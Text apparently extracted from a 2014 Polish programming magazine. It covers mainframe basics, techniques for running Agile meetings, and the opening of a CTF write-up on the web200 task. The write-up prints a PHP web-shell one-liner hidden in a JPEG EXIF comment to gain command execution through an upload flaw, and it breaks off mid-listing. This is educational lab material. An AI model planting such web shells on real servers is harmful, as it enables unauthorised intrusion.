24-bitowe adresowanie (wykorzysta-
nie 16MB pamięci)
S/370
24-bitowe adresowanie (wykorzysta-
nie 16MB pamięci)
S/390
31-bitowe adresowanie (wykorzysta-
nie 2GB pamięci)
System z
64-bitowe adresowanie (wykorzysta-
nie 16EB pamięci)
Tabela 1. Adresowanie pamięci
DYSKI
Do przechowywania danych, programów oraz samego systemu operacyj-
nego w systemie z/OS wykorzystywane są wolumeny DASD – Direct Access
Storage Device (urządzenia pamięciowe o dostępie bezpośrednim). W odróż-
nieniu od systemów UNIX-owych, struktura danych w systemie z/OS nie jest
hierarchiczna - dane przechowywane są sekwencyjnie.
WIRTUALIZACJA
Już w roku 1964 rozpoczęto prace nad systemem umożliwiającym wirtualiza-
cję całej maszyny w celu lepszego wykorzystania zasobów. Ewoluowała ona
od programowej do sprzętowej. Obecnie stosowanym rozwiązaniem przez
IBM jest wirtualizacja w postaci partycjonowania logicznego LPAR, która
umożliwia uzyskanie do 60 odizolowanych systemów.
TYPOWE ZADANIA NA MAINFRAME
Do najczęściej spotykanych zadań, jakimi obciążony jest mainframe, należą:
przetwarzanie transakcyjne (on-line) oraz przetwarzanie wsadowe (ang. batch).
Przetwarzanie wsadowe to zadania wykonywane bez interakcji użytkow-
nika. Operator uruchamia program, następnie oczekuje na wyniki. Charakte-
rystycznym dla przetwarzania wsadowego jest:
» duża ilość danych wejściowych oraz wyjściowych;
» setki/tysiące zadań uruchamianych w określonej kolejności lub jednocześnie;
» mała ilość użytkowników nadzorujących.
Przetwarzanie transakcyjne odbywa się w sposób interaktywny z użytkowni-
kiem. Charakteryzuje się:
» małą ilością danych wejściowych i wyjściowych;
» natychmiastowym czasem odpowiedzi;
» dużą liczbą użytkowników wykonujących wiele transakcji w tym samym czasie.
Dobrym przykładem zastosowania obu przetwarzań są banki: klienci, wypła-
cając pieniądze z bankomatu, wykonują przetwarzanie transakcyjne, pracow-
nicy banku natomiast przetwarzanie wsadowe, kiedy przeliczają salda kont.
ROLE NA SERWERZE
Serwer mainframe jest wykorzystywany przez wielu użytkowników w tym sa-
mym czasie, dodatkowo może być uruchomiona na nim duża liczba aplikacji,
dlatego też konieczne stało się podzielenie ról oraz zadań. Najczęściej spoty-
kanym jest podział na:
» Administratorów systemu;
» Administratorów aplikacji;
» Programistów;
» Operatorów .
SYSTEM Z/OS
Obecnie najpopularniejszym systemem operacyjnym na mainframe jest
z/OS. Jak każdy OS zarządza on platformą oraz tworzy środowisko dla pro-
gramów i zadań. Do ciekawych należy sposób komunikacji użytkownika z
systemem, najpowszechniej wykorzystywany jest interfejs TSO/E (ang. Time
Sharing Option/Extensions), ISPF (ang. Interactive System Productivity Facility)
oraz powłoka UNIX. Aby zalogować się do TSO, wymagana jest konsola 3270
lub jej emulator TN3270 uruchomiony na komputerze PC (Rysunek 6).
Rysunek 6. Okno logowania do TSO
64
/ 6
. 2014 . (25) /
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
Jako że TSO działa w trybie tekstowym (Rysunek 7), to w przypadku większości
użytkowników, po zalogowaniu od razu uruchamiany jest ISPF (Rysunek 8).
Rysunek 7. TSO tryb natywny
Rysunek 8. ISPF Okno główne
Na Rysunku 7 widać wydane przez użytkownika polecenie
ALLOC alokujące
zbiór o nazwie
USERID.TEST.CNTL. READY jest odpowiednikiem znaku za-
chęty w systemach UNIX - system czeka na wydanie polecenia. Na Rysunku
8 widać główne okno ISPF, jest to bardziej przyjazna użytkownikowi forma
komunikacji z systemem (użytkownik przemieszcza się pomiędzy opcjami,
wpisując odpowiedni numer w polu
Option ===>). Dodatkowo standar-
dowa konsola 3270 była wyposażana w klawisze funkcyjne od PF1 do PF24
- przycisk PF3 oznacza wyjście z zapisem, a PF1 uruchamia podręczną pomoc.
z/OS posiada warstwę UNIX-ową, do której logujemy się z poziomu TSO lub
poprzez telnet, np. używając programu PuTTY. Ten sposób przedstawia Rysu-
nek 9 i zapewne będzie wydawał się znajomy większości czytelnikom.
Rysunek 9. Połączenie via telnet
JCL I SDSF
JCL (ang. Job Control Language) jest językiem, który powinna znać każda osoba
związana z mainframe, służącym do wykonywania różnych działań systemie,
np. który program chcemy uruchomić, oraz niezbędne zasoby do jego wykona-
nia. W JCL możemy wykonywać polecenia TSO, ISPF oraz bardzo wiele czynno-
ści związanych z systemem oraz potrzebami użytkownika. Przykład zadania JCL
pokazany na Rysunku 10 to sortowanie danych podanych w zdaniu SORTIN.
Rysunek 10. JCL
Po uruchomieniu konkretne zadanie (ang. submmit ), jego przebieg oraz efekt
działania można śledzić w SDSF (ang. System Display and Search Facility).
Rysunek 11. SDSF
Przykład tego, jak nasze zadanie sortujące wygląda w SDSF, prezentują Ry-
sunki 12 i 13.
Rysunek 12. Zadanie MYJOB w SDSF
Rysunek 13. Efekt wykonania sortowania
Na koniec chciałbym nadmienić, że na temat serwerów mainframe, ich funk-
cjonowania i rozwoju, można by napisać dużo dużo więcej, dlatego też bar-
dziej dociekliwych odsyłam do darmowych publikacji znajdujących się na
stronie:
Dziękuję firmie IBM za umożliwienie wykorzystania ilustracji.
Dawid Morawiec
Absolwent Wydziału Fizyki i Informatyki Stosowanej Uniwersytetu Łódzkiego. Od dwóch lat pra-
cuje z serwerami mainframe. Na co dzień programuje w języku REXX oraz w szczególnie lubianej
przez siebie Javie. Ponadto interesuje się robotyką i technologiami internetowymi. W wolnym
czasie poświęca się pasji słuchania muzyki oraz czytania książek.
66
/ 6
. 2014 . (25) /
LABORATORIUM BOTTEGA
Paweł Badeński
Z
darza mi się nawet spotykać z sytuacjami, kiedy sfrustrowane zespoły
rezygnują ze spotkań w ogóle. Uważam, że takie podejście to często
„wylewanie dziecka z kąpielą”. Komunikacja oraz feedback są niezbęd-
nymi fundamentami Agile. Popularne metodyki takie jak Scrum wymagają od
członków zespołu prowadzenia określonego typu spotkań (planowanie sprintu,
retrospektywa). Niestety z mojego doświadczenia wynika, że niewiele mówi się
na temat organizowania oraz prowadzenia spotkań. Natomiast wiedza na ten
temat jest jedną z fundamentalnych metaumiejętności efektywnych zespołów.
Dlatego w artykule zaproponuję skuteczne techniki prowadzenia spo-
tkań, które pomagają oszczędzić czas, a jednocześnie wykorzystać wiedzę
wszystkich członków zespołu.
PODSTAWOWE PROTOKOŁY
W artykule przedstawię kilka z podstawowych protokołów (ang. The Core
Protocols) – strategii efektywnych zespołów opracowanych przez Jima oraz
Michele McCarthy. Autorzy protokołów dostrzegli, że skuteczne zespoły
współdzielą zachowania, które pozwalają im zaoszczędzić czas oraz lepiej się
komunikować. Pełna lista podstawowych protokołów zawiera 12 wzorców – w
artykule przedstawię skrótowo wybrane z nich (Decider, Resolution, Check in
oraz Pass). Pokażę, w jaki sposób mogą być wykorzystane do rozwiązania typo-
wych problemów spotkań. Jeśli zdecydujesz się z nich skorzystać, pełny opis
znajdziesz online pod adresem
http://liveingreatness.com/core-protocols
Ponadto warto, abyś zapoznał się z listą Podstawowych Zobowiązań – za-
sad, które stanowią fundament dla wykorzystania protokołów i powinny być
wcześniej zaakceptowane przez zespół.
TYPOWE PROBLEMY Z PROPOZYCJĄ
ROZWIĄZAŃ
Pracując z wieloma zespołami, zauważyłem, że nudne, męczące oraz wydłuża-
jące się spotkania łączą wspólne cechy. Poniżej opiszę cztery, które uważam za
najważniejsze: brak przygotowania, zbaczanie z tematu, rozwlekanie spotka-
nia oraz „burze emocjonalne”. Wraz z problemami zaproponuję techniki, które
pomogą zaadresować te typowe problemy.
Problem: Brak przygotowania
Według mnie dobre spotkanie jest jak dobra historyjka użytkownika i przede
wszystkim ma kryteria akceptacyjne. Niejednokrotnie uczestniczyłem w spo-
tkaniach, gdzie organizator proponował słuszny pomysł, np. ograniczenie
długu technicznego. Niestety brak przygotowania powodował, że spotkanie
kończyło się porażką. Brak przygotowania przybiera różną postać, ale zawsze
negatywnie wpływa na wynik spotkania, przykładowo:
» brak ram spotkania (np. agendy) spowoduje, że spotkanie przerodzi się w
dyskusję filozoficzną, bądź będzie okazją dla członków zespołu do wyraża-
nia opinii niezwiązanych z tematem,
» brak określonej listy uczestników może sprawić, że 80% osób w pomiesz-
czeniu będzie tam niepotrzebnych.
» brak oczekiwanych wyników da iluzję owocnego spotkania, po którym nie
zostaną podjęte żadne praktyczne kroki.
Rozwiązanie: Framework 7P
Bardzo prostą i efektywną techniką, która pozwala na skuteczne przygo-
towanie spotkania, jest framework 7P, opracowany przez Jamesa Macanufo.
Jego nazwa odnosi się do siedmiu artefaktów, które składają się na dobrze
przygotowane spotkanie: cel (ang. Purpose), produkt spotkania (ang. Product),
ludzie (ang. People), proces (ang. process), pułapki (ang. pitfall), przygotowanie
(ang. prep), zagadnienia praktyczne (ang. practical concerns). Poniżej opiszę
pokrótce rolę każdego z elementów:
» cel – jest odpowiedzią na pytanie „Dlaczego?”, tłumaczy istotę spotkania
oraz czemu jest ważne,
» produkt spotkania – identyfikuje listę rzeczy, które oczekujemy, że po-
wstaną podczas spotkania: listy, diagramy, szkice, plany, zadania do zre-
alizowania itp.
» ludzie – lista ludzi, którzy powinni uczestniczyć w spotkaniu. Może rów-
nież określać, kto nie musi lub nie powinien w nim uczestniczyć (np. nowo
rekrutowany pracownik nie będzie uczestniczył w dyskusji na temat jego
przyjęcia)
» proces – określa agendę spotkania oraz jego formę, np. brainstorming,
dyskusja, praca w parach
» pułapki – lista potencjalnych problemów wraz z proponowanymi rozwią-
zaniami, często opiera się o doświadczenia z poprzednich spotkań (np.
uczestnicy spotkania będą przychodzić spóźnieni)
» przygotowanie – lista rzeczy, które można przygotować wcześniej, aby
spotkanie było bardziej efektywne
» zagadnienia praktyczne – konkretne informacje na temat tego, gdzie
spotkanie się odbywa, kiedy, jak tam dotrzeć, oraz co jest wymagane od
uczestników
W tabeli poniżej możesz znaleźć jego zastosowanie na przykładzie, pokazując
jak mogłoby wyglądać przygotowanie retrospektywy.
Brakujący element Agile
Część 5: Spotkania
W tym artykule przedstawię techniki prowadzenia efektywnych i skutecznych spo-
tkań. Jako programista zdaję sobie sprawę, że spotkania są, mówiąc kolokwialnie,
jednym z najbardziej znienawidzonych aspektów naszej pracy. Z mojego doświadcze-
nia wynika, że główną przyczyną jest ich chaotyczna struktura spowodowana brakiem
przygotowania. Każdy dobrze zorganizowany projekt, iterację czy release produktu
poprzedzamy planowaniem oraz zarządzamy ich przebiegiem. W przypadku spotkań
dominuje tzw. podejście „na żywioł”. Z tego powodu tracimy masę czasu, chodząc na
bezcelowe spotkania oraz prowadząc dyskusje o nieistotnych kwestiach.
67
/ www.programistamag.pl /
BRAKUJĄCY ELEMENT AGILE. CZĘŚĆ 5: SPOTKANIA
Cel
Zidentyfikowanie sukcesów oraz problemów
w zakończonej iteracji, w celu wykorzystania tej
wiedzy w kolejnej iteracji
Artefakty
Lista zadań do zrealizowania w kolejnej iteracji
wraz z osobami za nie odpowiedzialnymi
Ludzie
Wszyscy członkowie zespołu, kierownik projek-
tu, product owner (opcjonalnie)
Proces
1. Odczytanie „Pierwszej dyrektywy” Norma Kerth’a
2. Brainstorming sukcesów oraz problemów
w kategoriach „Mad, Sad, Glad” (z użyciem
żółtych karteczek, każdy osobno) – 5 minut.
3. Grupowanie tematów.
4. Wybranie najważniejszych tematów przez
głosowanie.
5. Dyskusja oraz zidentyfikowanie zadań do
zrealizowania – 10 minut na każdy temat.
Pułapki
Brak kierownika projektu – Andrzej upewni się,
że kierownik projektu będzie na spotkaniu
Przygotowanie
Marek zarezerwuje pokój, rzutnik oraz
przyniesie flamastry i żółte karteczki
Zagadnienia praktyczne
Wtorek, 14 maja 14:00 – 16:00, pokój „Marcelina”
Tabela 1. Framework 7P
Warto pamiętać, że framework 7P jest wyłącznie narzędziem i to od Ciebie
zależy, jak je wykorzystasz. Z moich obserwacji wynika, że:
» optymalnie należy stosować framework 7P jako koło ratunkowe w sytu-
acjach, kiedy spotkania zespołu są nieefektywne
» najlepiej, kiedy planowaniem zajmie się jedna osoba, konsultując się z in-
nymi w razie potrzeby
» warto ograniczyć czas planowania (np. poprzez metodę timeboxingu),
aby zapobiec sytuacji, kiedy problem długich spotkań zostanie zastąpiony
przez problem długiego planowania
Problem: Zbaczanie z tematu
Wielokrotnie spotykam się z sytuacjami, że dyskusja przechodzi na tematy
niez wiązane z tematem spotkania. Czasem dzieje się tak, ponieważ cel spo-
tkania nie jest precyzyjnie określony. Zakładając jednak, że spotkanie zostało
dobrze przygotowane, a wciąż pojawia się problem częstych dygresji, warto
skorzystać z pomocy strażnika spotkania (ang. facilitator).
Rozwiązanie: Strażnik spotkania
Uczestnicy spotkania pochłonięci tematem oraz pod wpływem emocji zdarzają
się zapominać o regułach spotkania. Zewnętrzny obserwator, jakim jest strażnik
spotkania, pilnuje, aby wcześniej ustalone reguły były przestrzegane. Jeżeli ze-
spół korzysta z frameworka 7P, strażnik spotkania zapewnia, aby spotkanie nie
wykroczyło poza ramy tematyczne oraz czasowe określone w przygotowanym
planie. Strażnik spotkania jest osobą odpowiedzialną za jego sukces.
Strażnik spotkania dba również o to, aby każdy z uczestników został wy-
słuchany i wypowiedział swoją opinię. Pomocne jest, jeśli zna typy osobowo-
ści uczestników spotkania, np. kto jest gadułą, a kto rzadko zabiera głos na
spotkaniach (o wybranych typach osobowości przeczytasz więcej w dalszej
części artykułu). Może wtedy dopasować sposób facylitacji do specyfiki grupy.
Należy pamiętać, że strażnik spotkania nie może być jednocześnie jego
uczestnikiem. Nawet jeżeli jest członkiem zespołu, powinien na czas spotkania
zachować neutralność. W firmach, w których pracowałem, częstą praktyką było
„wypożyczanie” ludzi z innych zespołów. Ma to dwie zalety. Po pierwsze, osobie
z zewnątrz łatwo jest zachować neutralność. Po drugie, zapewniamy w ten spo-
sób efektywny transfer wiedzy oraz umiejętności pomiędzy różnymi zespołami.
Rozwiązanie: Parking
Zdarza się, że na spotkaniach poruszane są kwestie istotne dla grupy, ale
nie związane z aktualnie omawianym tematem. Członkowie zespołu są nie-
chętni przerwać dyskusję, ponieważ boją się, że temat już więcej nie powróci.
W tym celu warto zaimplementować w zespole koncepcję parkingu – miejsca,
gdzie umieszczane są ważne tematy do późniejszego omówienia. Zazwyczaj
jest to fragment tablicy, bądź ściany, a tematy przywieszane są z użyciem żół-
tych karteczek. Wraz z tematem dobrze jest również dopisać osobę odpowie-
dzialną za temat, w innym przypadku tematy „odstawione” na parking mogą
nie zostać nigdy więcej poruszone (a parking stanie się „cmentarzyskiem”).
Problem: Rozwlekanie spotkania
Klasycznym problemem spotkań jest jego przeciąganie. W wielu sytuacjach
wcześniej przedstawione przeze mnie techniki wystarczą, aby zapobiec
rozwlekaniu spotkania. Zdarza się, że zespołowi brakuje samodyscypliny,
ponieważ jest już przyzwyczajony do długich i bezcelowych spotkań. W ta-
kiej sytuacji ograniczenia czasowe pozwalają wywrzeć przydatną presję na
uczestników spotkania.
Rozwiązanie: Ograniczenia czasowe (ang. timeboxing)
Ograniczenia czasowe polegają na wyraźnym określeniu, ile czasu zespół
poświęci na poszczególne punkty agendy. Po osiągnięciu limitu czasowego
uczestnicy przechodzą do kolejnego punktu agendy – niezależnie od rezultatu.
Spotkałem się z sytuacjami, kiedy po osiągnięciu limitu czasowego zespół
wspólnie decyduje, czy ograniczenie przedłużyć. Z mojego doświadczenia
wynika, że tego typu praktyka powoduje, iż uczestnicy przestają poważnie
traktować ograniczenia czasowe. Dlatego preferuję wariację, w której uczest-
nicy stosują kolejkę FIFO – niedokończony temat umieszczany jest na końcu
kolejki. Dzięki temu realizujemy plan spotkania, a po zakończeniu znamy sku-
mulowany czas niedokończonych tematów. Tego rodzaju feedback pomaga
w przyszłości lepiej planować czas spotkania oraz priotytety tematów.
Jedną z wariacji ograniczeń czasowych jest stosowanie ich do uczenia
zespołu optymalnego wykorzystania czasu spotkania. Po zaplanowaniu spo-
tkania należy spróbować zmniejszyć eksperymentalnie czas spotkania do 1/4
oryginalnych założeń. Część zaoszczędzonego czasu można wykorzystać na
krótką retrospektywę, by podzielić się obserwacjami na temat tego, czego się
nauczyliśmy. Takie doświadczenie może dostarczyć zespołowi źródła ciekawych
wniosków, zwłaszcza że długości spotkań są z reguły dobierane arbitralnie. Dla
przykładu, w jednym z zespołów, gdzie pracowałem, standup zajmował w pew-
nym okresie trwania projektu 45 minut. W niedługim czasie skróciliśmy go do
15 minut, nie odczuwając jakichkolwiek efektów negatywnych.
Oprócz ograniczeń czasowych można również stosować przydatną pro-
cedurę nazywaną po angielsku „timecheck” (pol. kontrola czasu). Wybrana
osoba powinna w regularnych odstępach przypominać o ilości czasu, który
pozostał do zakończenia punktu agendy (bądź całego spotkania). Dzięki temu
pozostali uczestnicy posiadają odpowiednik paska postępu dla spotkania
oraz mogą lepiej zarządzać przebiegiem spotkania.
Ograniczenia czasowe mogą być stosunkowo radykalną techniką dla wielu
zespołów. Warto spojrzeć na nie jako na ćwiczenie, uczące efektywnego wy-
korzystania czasu. Podobnie jak w przypadku ćwiczeń fizycznych brak ogra-
niczeń czasowych powoduje rozleniwienie się zespołu i spadek efektywności.
Rozwiązanie: Protokoły Decider oraz Resolution
W zespołach zwinnych podjęcie decyzji jest często skomplikowane z
uwagi na demokratyczny charakter. Wielokrotnie spotkałem się z sytuacja-
mi impasu, gdzie zespół traci cenne godziny, próbując osiągnąć consensus.
Najlepszym rozwiązanie problemu jest wprowadzenie metody, która pozwala
szybko ocenić stanowiska uczestników.
Tu z pomocą przychodzi protokół Decider. Jedna z osób powinna za-
proponować rozwiązanie sytuacji impasu. Pozostali podejmują decyzję, czy
zgadzają się z propozycją, odpowiadając „Tak”, „Nie”, „Nie mam zdania” lub
„Zdecydowanie nie”. Decyzja zostaje podjęta większością głosów, chyba że co
najmniej jeden z uczestników głosował jako „Zdecydowanie nie”, które ozna-
cza „Nie” całego zespołu.
Jeśli osoba proponująca rozwiązanie jest niezadowolona z wyniku głoso-
wania (ponieważ propozycja została odrzucona), może zastosować protokół
Resolution. W ramach niego zadaje pytanie każdemu z głosujących na „Nie”,
68
/ 6
. 2014 . (25) /
LABORATORIUM BOTTEGA
co mogłoby zmienić ich decyzję. Jeśli jest możliwe zmienić propozycję, tak
aby uzyskać głosy większości, propozycję uznaje się za przyjętą. W przeciw-
nym przypadku należy zakończyć dyskusję i przejść do omawiania kolejnego
tematu. Osoby niezadowolone z jej wyniku mogą próbować „lobbować” swo-
je pomysły już po zakończonym spotkaniu.
Problem: Burze emocjonalne
W wielu zespołach emocje to temat rzadko poruszany w kontekście pracy. W
międzyczasie w kwestii emocji mamy do czynienia z dwoma problematycz-
nymi sytuacjami. Po pierwsze, jeśli jeden z uczestników jest pod wpływem
silnych emocji, np. zdenerwowanie szefa może skutecznie zaprzepaścić całe
spotkanie. Po drugie, uczestnicy będący pod wpływem negatywnych emocji
mają ograniczone umiejętności logicznego myślenia (o czym pisałem w po-
przednich częściach serii).
Rozwiązanie: Protokoły Check in oraz Pass
Protokół Check in pozwala zrozumieć konteks emocjonalny każdego z
uczestników spotkania. Wymaga on, żeby każdy z uczestników przed rozpo-
częciem spotkania zadeklarował swoje emocje poprzez wybranie co najmniej
spośród listy czterech: zły, smutny, zadowolony, obawiający się (ang. mad, sad,
glad, afraid). Opcjonalnie może podać krótki kontekst do podanej przez siebie
emocji. Dzięki temu wszyscy uczestnicy spotkania dostają czytelny kontekst
emocji innych na początku spotkania, i mogą skuteczniej reagować na komu-
nikaty innych.
Wspomnę również, że protokół Check in można także stosować w sytu-
acji, kiedy „jesteś myślami gdzie indziej”, np. zostałeś oderwany od pisania
skomplikowanego algorytmu. Możesz wtedy powiedzieć, że obawiasz się, po-
nieważ Twoje rozkojarzenie może nie pozwolić Ci na efektywne uczestnictwo
w spotkaniu.
W przypadku jeśli w ogóle nie możesz, bądź nie chcesz, uczestniczyć w
spotkaniu, powinieneś zastosować protokół Pass. Pozwala on całkowicie zre-
zygnować z uczestnictwa w spotkaniu. Osobiście uważam, że obecność takie-
go protokołu może pomóc wielu zespołom, gdzie istnieje niepisana reguła
obowiązku uczestnictwa w każdym spotkaniu. Oczywiście, należy uważać,
żeby tego protokołu nie nadużywać.
METODY NIEKONWENCJONALNE
Oprócz opisanych wyżej metod, zdarza mi się stosować również techniki, któ-
re mogą wydawać się niestandardowe w kontekście pracy. Dwie najważniej-
sze to medytacja oraz proste ćwiczenia fizyczne.
Medytacja pozwala na uspokojenie emocji oraz uporządkowanie myśli
przed rozpoczęciem spotkania. Programista oderwany od klawiatury wciąż
myśli bardzo logicznie i dopóki nie „przełączy kontekstu” ma obniżoną inteli-
gencję społeczną. Medytacja może być stosowana nawet przez kompletnego
laika oraz jest metodą zweryfikowaną naukowo, co przemawia na jej korzyść.
Warto wiedzieć, że jest fundamentem programu rozwoju liderów Search Insi-
de Yourself w firmie Google od 2008 roku.
Proste ćwiczenia fizyczne takie jak wspólne ziewanie oraz przeciąganie się
pozwalają na dotlenienie mózgu i mogą się okazać zbawienne dla powodze-
nia poobiednich spotkań. W przypadku spotkań odbywających się pod ko-
niec dnia można rozważyć przeprowadzenie go w całości na stojąco.
WPŁYW OSOBOWOŚCI
Organizacja efektywnego spotkania wymaga wzięcia pod uwagę osobowości
jego uczestników. Należy przykładowo pamiętać, że niektóre osoby wyrażają
swoje opinie od samego początku spotkania, podczas gdy inni preferują do-
brze zrozumieć jego kontekst, aby wypowiedzieć swoje zdanie. Dobrze jest,
jeśli strażnik spotkania zna preferencje uczestników, bądź potrafi szybko je
wychwycić – w ten sposób może dopasować spotkanie do potrzeb grupy. Po-
niżej przedstawię 3 przykładowe (celowo przejaskrawione) typy osobowości,
zwracając uwagę na to, że każda z nich ma zarówno słabe, jak i mocne strony.
Gaduła
Gaduła to uczestnik, który już od samego początku wyraża swoją opinię. Ma
zdanie na każdy temat poruszany na spotkaniu. Oczywistym problemem w
tym przypadku jest łatwość, z jaką potrafi zdominować spotkanie, i często
zanudzić innych uczestników, którzy nie mogą dojść do głosu. Jego mocną
stroną jest „rozkręcanie” spotkania oraz utrzymywanie wysokiej energii – jest
w stanie ciągle dostarczać nowych informacji oraz przemyśleń.
Mistrz dygresji
Mistrz dygresji ciągle rozpoczyna nowe wątki podczas dyskusji, przez co po-
trafi łatwo zdestabilizować spotkanie. Z drugiej strony jest nieoceniony pod-
czas sesji brainstormingu. Ma również duży talent do generowania nowych
pomysłów oraz pomaga zespołowi spojrzeć na omawiane tematy z różnych
perspektyw.
Cichy obserwator
Cichy obserwator nigdy nie wyraża swojej opinii w pierwszej połowie spotka-
nia, a czasem nie odzywa się w ogóle. Przedstawiciel tego typu osobowości
nie zakłóca spotkania, jak w przypadkach opisanych wyżej, więc łatwo o nim
zapomnieć. Należy jednak pamiętać, że osoba, która nie mówi, często uważ-
nie słucha. Cichy obserwator zdarza się być nieprzeciętnym słuchaczem, a za-
pytany o zdanie może dostarczyć uczestnikom wnikliwych obserwacji.
PODSUMOWANIE
W tym artykule opisałem typowe problemy nieefektywnych spotkań oraz
zaproponowałem techniki, które pomagają je rozwiązać. Chcę zauważyć,
że przedstawione metody są w istocie proste i możliwe do wprowadzenia
od ręki. Warto zwrócić uwagę, że większość z prezentowanych przeze mnie
rozwiązań ma również dodatkowe zalety. Framework 7P pozwala na lepsze
poznanie procesu, zwłaszcza w kontekście spotkań cyklicznych, które są jego
częścią. Wykorzystanie Podstawowych Protokołów da szanse na zwiększenie
skuteczności komunikacji w zespole. Obecność strażników spotkań z innych
zespołów spowoduje wymianę wiedzy oraz umiejętności w ramach firmy.
Paweł Badeński
Do niedawna konsultant w firmie ThoughtWorks, gdzie pracował jako programista, trener
oraz coach. Obecnie trener i konsultant w firmie Bottega IT Solutions. Bloguje pod adresem
http://the-missing-link-of-agile.com
. Pasjonat improwizacji teatralnej, psychologii stosowa-
nej i neurobiologii oraz ich zastosowania w kontekście tworzenia oprogramowania.
70
/ 6
. 2014 . (25) /
STREFA CTF
Krzysztof "vnd" Katowicz-Kowalewski
CTF
CONFidence DS CTF 2014 (Offline)
https://ctf.dragonsector.pl/
http://files.dragonsector.pl/2014/confidence/main/
Liczba uczestników
(z niezerową liczbą punktów)
11
System punktacji zadań
Od 50 (proste) do 200 (średnio-trudne) punktów.
Liczba zadań
17
Podium
1. liub (1078 pkt.)
2. dcua (1078 pkt.)
3. 4c...80fd Sector (500 pkt.)
O CTFIE
W tym wydaniu magazynu „Programista” opiszemy organizowane przez nas
zawody, które odbyły się podczas konferencji CONFidence pod koniec maja
tego roku. Skąd ten wybór? W numerze tym chcielibyśmy przedstawić Wam
nie tylko sposób rozwiązania wybranego zadania, ale również z naszej per-
spektywy to, co działo się za kulisami, czyli jak doszło do stworzenia opisywa-
nego zadania oraz jakie po drodze napotkaliśmy trudności i wyzwania.
Zdobyć flagę…
CONFidence DS CTF 2014 – web200
Średnio co około dwa tygodnie gdzieś na świecie odbywają się komputerowe Cap-
ture The Flag – zawody, podczas których kilku-, kilkunastoosobowe drużyny stara-
ją się rozwiązać jak najwięcej technicznych zadań z różnych dziedzin informatyki:
kryptografii, steganografii, programowania, informatyki śledczej, bezpieczeństwa
aplikacji internetowych itd. W serii „Zdobyć flagę…“ co miesiąc publikujemy wybra-
ne zadanie pochodzące z jednego z minionych CTFów wraz z jego rozwiązaniem.
WEB200
W części zadań z kategorii web - szczególnie wysoko punktowanych - moż-
na zauważyć pewien schemat: uczestnik powinien obejść zabezpieczenia
strony internetowej, ściągnąć plik z programem wykonywanym przez CGI,
dowiedzieć się, co on robi, a następnie znaleźć błąd i go wykorzystać. W kon-
sekwencji dostajemy więc pewnego rodzaju hybrydę kategorii web, reverse-
-engineering i pwn. Organizując zawody CTF podczas konferencji CONFidence,
ZDOBYĆ FLAGĘ… CONFIDENCE DS CTF 2014 – WEB200
chcieliśmy nieco zerwać z tym schematem i stworzyć zadanie, które odno-
siłoby się jedynie do jednej kategorii – w tym wypadku do bezpieczeństwa
aplikacji webowych. Aby nie stworzyć zadania zbyt łatwego, postanowiliśmy
podzielić je na dwie części, tak aby każda część wymagała od gracza nieco
innego podejścia.
Jeśli chcecie spróbować własnych sił i rozwiązać zadanie bez wcześniej-
szego przeczytania solucji, możecie pobrać dysk maszyny wirtualnej, na której
oryginalnie było hostowane zadanie:
http://files.dragonsector.pl/2014/confidence/main/web200.qcow
.
Po uruchomieniu systemu powinien on pobrać adres IP z serwera DHCP, jeśli
jednak będziecie zmuszeni ręcznie zmodyfikować ustawienia sieciowe, może-
cie zalogować się do systemu przy pomocy loginu i hasła „root”. Oryginalnie
gracze nie mieli jednak możliwości zalogowania się do systemu i przedstawio-
ne tutaj dane powinny być używane jedynie w celu rozwiązywania proble-
mów z konfiguracją maszyny wirtualnej.
CZĘŚĆ I – UZYSKANIE DOSTĘPU DO
SERWERA
Link umieszczony w treści zadania (
) kierował nas na
stronę wirtualnej, nowo powstałej gazety o nazwie LetterPress. Z informacji,
które udało nam się tam wyczytać, wynikało, że redakcja wykupiła hosting na
bardzo bezpiecznym serwerze, a sama strona powstała niedawno i cały czas
trwają pracę nad jej wyglądem i treścią. Z rzeczy, które rzucały się w oczy, moż-
na wymienić niedziałający panel logowania i kilka zakładek, m.in. z newsami,
notką o gazecie i informacją o rekrutacji. Ze wszystkich tych rzeczy największą
uwagę powinna zwracać na siebie właśnie wzmianka o rekrutacji, gdzie byli-
śmy w stanie przesłać swój adres e-mail i zdjęcie (wedle którego mielibyśmy
zostać wybrani do rozmowy kwalifikacyjnej). Po przesłaniu zdjęcia i podaniu
e-maila otrzymywaliśmy link podobny do następującego:
http://letterpress.local/uploads.
php?path=jrepzzo4d033jdxhi1w9bzmfkzr3ahjk/your@address.net
Jak łatwo można było się domyślić, zdjęcie, które przesyłaliśmy, znajdowało
się gdzieś na serwerze - jeśli bylibyśmy w stanie umieścić w nim kod PHP i
przekonać serwer Apache, aby go wykonał, zyskalibyśmy dostęp do wyko-
nywania dowolnych poleceń. Jedyny problem w tym momencie stanowiło
„domyślenie się”, w jakim katalogu znajdują się pliki użytkowników. Większość
osób nie miało jednak z tym problemu i sprawdzało plik robots.txt:
User-agent: *
Disallow: /client-data/
Wiedząc o ukrytym folderze „client-data”, nietrudno było wpaść na pomysł, że
do wgranego przed chwilą pliku możemy odwołać się bezpośrednio:
http://letterpress.local/client-data/
jrepzzo4d033jdxhi1w9bzmfkzr3ahjk/your@address.net
O ile skrypt uploads.php prezentował wgrane przez nas pliki jako plik obrazów
i dostarczał je w dokładnie takiej samej postaci, w jakiej zostały one wgrane,
tak sam serwer Apache po przejściu na bezpośrednią lokalizację pliku spraw-
dzał jego rozszerzenie i w momencie, kiedy było ono związane z dynamiczną
akcją, uruchamiał odpowiedni interpreter. W ten sposób, wgrywając plik JPEG
z komentarzem EXIF:
<?php eval($_GET[0]); ?>, byliśmy w stanie uru-
chomić po stronie serwera dowolne polecenie.
CZĘŚĆ II – REKONESANS SYSTEMU
I ESKALACJA UPRAWNIEŃ
Jak pewnie zauważyliście, pierwsza część zadania nie powinna stanowić więk-
szego problemu dla osób znających podstawowe podatności stron interne-
towych. Prawdziwym wyzwaniem w tym zadaniu było odczytanie flagi, która
znajdowała się na innym virtual hoście i pod kontrolą innego użytkownika niż
ten, do którego mieliśmy dostęp. Zaraz po tym, jak uzyskaliśmy możliwość
wykonywania dowolnych poleceń, mogliśmy się zorientować, że jedyną rze-
czą dzielącą nas od flagi jest hasz SHA-256, który był sprawdzany po stronie
serwera w panelu logowania. Widać to bardzo dobrze na listingu poniżej:
<?php
function
auth
(
$login
,
$password
)
{
if
(!
is_string
(
$login
)
||
preg_match
(
"
/
^[
a
-
zA
-
Z0
-
9
]+$
/
"
,
$login
)
!==
1
)
return
false
;
if
(!
is_string
(
$password
)
||
preg_match
(
"
/
^[
a
-
zA
-
Z0
-
9
]+$
/
"
,
$password
)
!==
1
